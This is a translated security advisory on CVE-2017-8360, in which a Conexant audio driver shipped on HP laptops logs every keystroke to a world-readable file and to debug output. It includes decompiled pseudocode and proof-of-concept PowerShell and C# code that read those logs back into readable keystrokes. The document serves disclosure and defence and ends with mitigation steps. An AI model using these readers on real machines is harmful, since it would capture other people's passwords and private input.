【漏洞分析】CVE-2017-8360:惠普笔记本音频驱动内置键盘记录器后门分析(含PoC)

  • 【漏洞分析】CVE-2017-8360:惠普笔记本音频驱动内置键盘记录器后门分析(含PoC)已关闭评论
  • A+
所属分类:业界安全
摘要

翻译:童话投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿漏洞概要概述:瑞士安全公司Modzero的安全研究员Thorsten Schroeder在审查Windows Active Domain的基础设施时发现惠普音频驱动中内置键盘记录器监控用户的所有按键输入。CVE-ID:CVE-2017-8360漏洞类型:Covert Storage Channel(后门)漏洞等级:高危/

【漏洞分析】CVE-2017-8360:惠普笔记本音频驱动内置键盘记录器后门分析(含PoC)


翻译:童话

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


漏洞概要

概述:瑞士安全公司Modzero的安全研究员Thorsten Schroeder在审查Windows Active Domain的基础设施时发现惠普音频驱动中内置键盘记录器监控用户的所有按键输入。

CVE-ID:CVE-2017-8360

漏洞类型:Covert Storage Channel(后门)

漏洞等级:高危/中危

漏洞产品:音频驱动程序(麦克风托盘程序)

影响版本:<= 1.0.0.46

影响组件:计划任务 C:\windows\system32\mictray64.exe

攻击类型:本地

供应商:Conexant Systems公司(世界最大的通信电子半导体独立研发厂商)


漏洞详情

Conexant(世界最大的通信电子半导体独立研发厂商)的MicTray64.exe与Conexant音频驱动程序包同时安装,并且会注册为一个Microsoft计划任务,以便在每一个用户登陆后运行。该程序记录用户键盘输入的所有信息,以捕获和响应麦克风静音/取消静音/快捷键等功能。键盘记录功能主要是通过调用SetwindowsHookEx()实现一个底层键盘输入信息hook函数。除了处理快捷键/功能键的点击事件外,所有的键盘输入信息都会被写入所有用户权限都可读的路径中的日志文件(C:\Users\Public\MicTray.log)中。

如果日志文件不存在或Windows注册表中的信息不可用,所有的键盘输入信息都会传递给OutputDebugString API,这使得当前用户上下文中的任何进程都可以捕捉键盘输入信息,而不会表露出任何恶意行为。

任何可以调用MapViewOfFile API的框架或者进程都能够通过用户的键盘输入信息静默的收集敏感数据。在1.0.0.31版本中,后门仅仅使用OutputDebugString传递用户键盘输入的信息,而没有将这些信息写入文件中。

下列伪代码为1.0.0.46版本的MicTray64.exe启用键盘记录功能的处理函数:

int64 keylogger_enable(bool activate)
{
[...]
    if ( !keylogger_active )
    {
[...]
      // 13=WH_KEYBOARD_LL: Installs a hook procedure that
      // monitors low-level keyboard input events. For 
      // more information, see the LowLevelKeyboardProc 
      // hook procedure.
      hKeyloggerHook = SetWindowsHookExW(
            13, (HOOKPROC)handle_scancode, 
            hSelf, 
            0);
      if ( hKeyloggerHook )
      {
        keylogger_active = 1;
        return 0;
      }
[...]
}

在调用handle_scancode()函数,处理用户通过键盘输入的信息后,用户每一次敲击或释放按键都会执行下列伪代码:

LRESULT handle_scancode(
   int _in_nCode, 
   WPARAM _in_wParam, 
   tagKBDLLHOOKSTRUCT *_in_lParam_keystroke)
{
  tagKBDLLHOOKSTRUCT *key_stroke;
  WPARAM wParam;
  int nCode;
  int64 target; 
  DWORD is_keyfoo; 
  int is_keydown;
  char tmp; 
  int64 key_flags;
  int64 key_vk; 
  key_stroke   = _in_lParam_keystroke;
  wParam       = _in_wParam;
  nCode        = _in_nCode;
  if ( _in_nCode >= 0 )
  {
    target = (cfg_HotKeyMicScancode >> 8 * 
      (cfg_HotKeyMicScancode_len - cfg_HotKeyMicScancode_len2));
    LODWORD(key_vk)     = _in_lParam_keystroke->vkCode;
    LODWORD(key_flags)  = _in_lParam_keystroke->flags;
    is_keyfoo           = _in_lParam_keystroke->flags & 1;
    is_keydown          = ~(key_flags >> 7) & 1;
[*] send_to_dbglog(
      0x1D,
      L"Mic target 0x%x scancode 0x%x flags 0x%x extra 0x%x vk 0x%x\n",
      target,
      _in_lParam_keystroke->scanCode,
      key_flags,
      _in_lParam_keystroke->dwExtraInfo,
      key_vk);
    conexant_handle_fn_keys(
      cfg_MicMuteScancodeSettings,
      is_keydown,
      key_stroke->scanCode,
      target,
      &cfg_HotKeyMicScancode_len,
      &cfg_HotKeyMicScancode_len2,
      1);
    if ( cfg_MicMuteScancodeSettings & 4 )
      conexant_handle_fn_keys(
        cfg_MicMuteScancodeSettings,
        is_keydown,
        key_stroke->scanCode,
        (cfg_HotKeyMicScancode2 >> 8 * 
            (cfg_HotKeyMicScancode2_len - cfg_HotKeyMicScancode2_len2)),
        &cfg_HotKeyMicScancode2_len,
        &cfg_HotKeyMicScancode2_len2,
        1);
    tmp = cfg_SpkMuteScancodeSettings;
    if ( cfg_SpkMuteScancodeSettings & 8 && is_keyfoo 
         || !(cfg_SpkMuteScancodeSettings & 8) )
    {
      conexant_handle_fn_keys(
        cfg_SpkMuteScancodeSettings,
        is_keydown,
        key_stroke->scanCode,
        (cfg_HotKeySpkScancode >> 8 * 
            (cfg_HotKeySpkScancode_len - cfg_HotKeySpkScancode_len2)),
        &dword_1402709C8,
        &dword_1402709CC,
        0);
      tmp = cfg_SpkMuteScancodeSettings;
    }
    if ( tmp & 4 && (tmp & 8 && is_keyfoo || !(tmp & 8)) )
      conexant_handle_fn_keys(
        tmp,
        is_keydown,
        key_stroke->scanCode,
        (cfg_HotKeySpkScancode2 >> 8 * 
            (cfg_HotKeySpkScancode2_len - cfg_HotKeySpkScancode2_len2)),
        &cfg_HotKeySpkScancode2_len,
        &cfg_HotKeySpkScancode2_len2,
        0);
  }
  return CallNextHookEx(hhk, nCode, wParam, key_stroke);
}

在[*]中调用的函数将每个按键信息写入文件,或通过如下Microsoft Debug监视器API store_keystroke()进行广播:

void store_keystroke(LPCVOID lpBuffer)
{
  WORD *scancode_logline;
  int64 str_len;
  DWORD NumberOfBytesWritten;
  int str_newline; 
  scancode_logline = lpBuffer;
  if ( g_write_to_logfile )
  {
    SetFilePointer(g_hFile, 0, 0, 2);
    str_len = -1;
    while ( scancode_logline[str_len++ + 1] != 0 )
      ;
    WriteFile(
      g_hFile, 
      scancode_logline, 
      2 * str_len, 
      &NumberOfBytesWritten, 
      0);
    str_newline = '\n\0\r';
    WriteFile(g_hFile, &str_newline, 4, &NumberOfBytesWritten, 0);
  }
  else
  {
    OutputDebugStringW(lpBuffer);
  }
}

该漏洞导致了一个非常高的风险,用户输入的敏感信息或者操作都有可能被泄露。这些信息会被记录在C:\Users\Public\MicTray.log中,或者通过调用MapViewOfFile()函数读取。

可以访问未加密文件系统的相关工作人员也可以恢复历史键盘记录的敏感数据。用户没有意识到当输入敏感信息(如本地、远程系统的登录密码)的时候,键盘输入的内容会被Conexant的音频驱动程序包记录,而这些敏感的输入信息可以被任何进程或框架通过访问特定文件或调用MapViewOfFile API访问。

此外,值得一提的是,恶意软件开发者通过该漏洞获取敏感信息,不会被启发式杀毒软件检测。不推荐通过将键盘记录内容写入磁盘或调试OutputDebugStringW()给任意进程提供任何键盘输入的敏感信息。


漏洞影响

在当前用户会话中运行的任何进程可以因此监控调试信息,可以记录用户通过键盘输入的任意内容。由此,该进程可以记录敏感数据,如密码等。不会触发任意恶意行为,因此可以逃避杀毒软件的检测。

此外,运行在操作系统上的任何进程都可以通过访问特定的路径获取用户输入的敏感信息。为什么所有的按键信息都会被记录,Conexant(世界最大的通信电子半导体独立研发厂商)会不会随时收集键盘记录的日志信息,那就不得而知了。


PoC

这个PoC通过PowerShell解析MicTray.log中的内容。

$filename = "c:\users\public\MicTray.log"
[System.IO.FileStream]   $fs = [System.IO.File]::Open(
      $filename, 
      [System.IO.FileMode]::Open, 
      [System.IO.FileAccess]::Read, 
      [System.IO.FileShare]::ReadWrite)
[System.IO.StreamReader] $fr = [System.IO.StreamReader]::new(
      $fs, 
      [Text.UTF8Encoding]::UNICODE)
$el = 0
while($el -lt 2) {
   $line = $fr.ReadLine()
   # handle broken newlines in log...
   if([string]::IsNullOrEmpty($line)) {
      $el++
   } else {
      $el=0
   }
   $mc = [regex]::Match($line, 
         "MicTray64.exe.*flags (0x0[A-Fa-f0-9]?).*vk (0x[A-Fa-f0-9]+)$")
   $r = $mc.Groups[2].Value
   if(-Not [string]::IsNullOrEmpty($r)) {
      $i = [convert]::ToInt32($r, 16)
      $c = [convert]::ToChar($i)
      if($i -lt 0x20 -or $i -gt 0x7E) { $c = '.' }
      write-host -NoNewLine $("{0}" -f $c)
   }
}

然而,如果没有记录日志文件,只要按照Microsoft的DbMon Debug Monitor方法捕获传递给OutputDebugString的字符串同样也可获得键盘记录信息:

namespace mod0_dbgview
{
    class Program
    {
        public static void Main(string[] args)
        {
            DebugMonitor.Start();
            DebugMonitor.OnOutputDebugString += new
                  OnOutputDebugStringHandler(OnOutputDebugString);
            Console.WriteLine("Press 'Enter' to exit.");
            Console.ReadLine();
            DebugMonitor.Stop();
        }
        // version 1.0.0.46
        private static void OnOutputDebugString(int pid, string text)
        {
            char sep = ' ';
            char nl = '\n';
            text = text.TrimEnd(nl);
            string[] items = text.Split(sep);
            if (items[7].Equals("Mic"))
            {
                int c_int = Convert.ToInt32(items[17], 16);
                if (c_int == 0xd)
                {
                    Console.WriteLine();
                }
                else if (Convert.ToInt32(items[13], 16) == 0x00)
                    Console.Write("{0}", (char)(c_int & 0xff));
            }
        }
        // version 1.0.0.31
        private static void OnOutputDebugString_v31(
            int pid, 
            string text)
        {
            char sep = ' ';
            string[] items = text.Split(sep);
            if (items[0].Equals("Mic"))
            {
                int c_int = Convert.ToInt32(items[10], 16);
                if (c_int == 0xd)
                {
                    Console.WriteLine();
                }
                else if(Convert.ToInt32(items[6], 16) == 0x00)
                    Console.Write("{0}", (char)(c_int & 0xff));
            }
        }
    }
}

任何框架提供了一个API ReadFile()或Microsoft的MapViewOfFile()都可以捕捉Conexant音频驱动程序获取的键盘输入信息。通过使用Microsoft Windows Sysinternals Debugview,如果敏感内容没有写入文件,也可以轻松地获取键盘输入信息。


缓解方法

删除MicTray可执行文件和相应的日志记录文件。仅仅删除计划任务是不能解决问题的,因为Windows服务CxMonSvc将再一次启动MicTray。

可执行文件的位置:C:\Windows\System32\MicTray64.exe

日志文件的位置:C:\Users\Public\MicTray.log


参考链接

[1] LowLevelKeyboardProc callback function

[2] KBDLLHOOKSTRUCT structure

[3] DbMon: Implements a Debug Monitor

[4] MSDN/OutputDebugString function

[5] Microsoft Windows Sysinternals DebugView

[6] modzero Security Advisory: Unintended/Covert Storage Channel for sensitive data in Conexant HD Audio Driver Package. [MZ-17-01]

de9592e9-88d2-499f-8c9c-6a7f6f83e9b7.jpeg

687bbd15-937f-4234-9038-8cee74912769.jpeg

本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://www.modzero.ch/advisories/MZ-17-01-Conexant-Keylogger.txt